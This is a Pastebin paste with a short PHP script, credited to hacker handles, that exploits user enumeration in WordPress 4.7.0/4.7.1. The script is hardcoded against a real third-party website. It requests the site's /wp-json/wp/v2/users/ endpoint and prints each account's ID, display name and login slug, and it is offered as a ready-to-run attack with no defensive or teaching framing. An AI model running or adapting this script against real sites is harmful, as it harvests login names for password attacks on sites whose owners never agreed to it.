SHARE
TWEET

WordPress 4.7.0/4.7.1 Username Enumeration

choirurrizal Mar 14th, 2017 323 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. #Author: Mateus a.k.a Dctor
  4. #fb: fb.com/hatbashbr/
  5. #E-mail: dctoralves@protonmail.ch
  6. #Site: https://mateuslino.tk
  7. header ('Content-type: text/html; charset=UTF-8');
  8.  
  9.  
  10. $url= "https://www.obama.org";
  11. $payload="/wp-json/wp/v2/users/";
  12. $urli = file_get_contents($url.$payload);
  13. $json = json_decode($urli, true);
  14. if($json){
  15.     echo "======================== [ N45HT ] ========================\n";
  16.     echo "\n";
  17.     echo "\n";
  18.     echo "Wordpress < 4.7.1 - Username Enumeration . recoded by ShinChan\n";
  19.     echo "target : ".$url."\n";
  20.     echo "\n";
  21. foreach($json as $users){
  22.     echo "[*] ID :  |" .$users['id']     ."|\n";
  23.     echo "[*] Name: |" .$users['name']   ."|\n";
  24.     echo "[*] User :|" .$users['slug']   ."|\n";
  25.     echo "\n";
  26. }echo "======================== [ N45HT ] ========================";}
  27. else{echo "[*] No user";}
  28.  
  29.  
  30. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top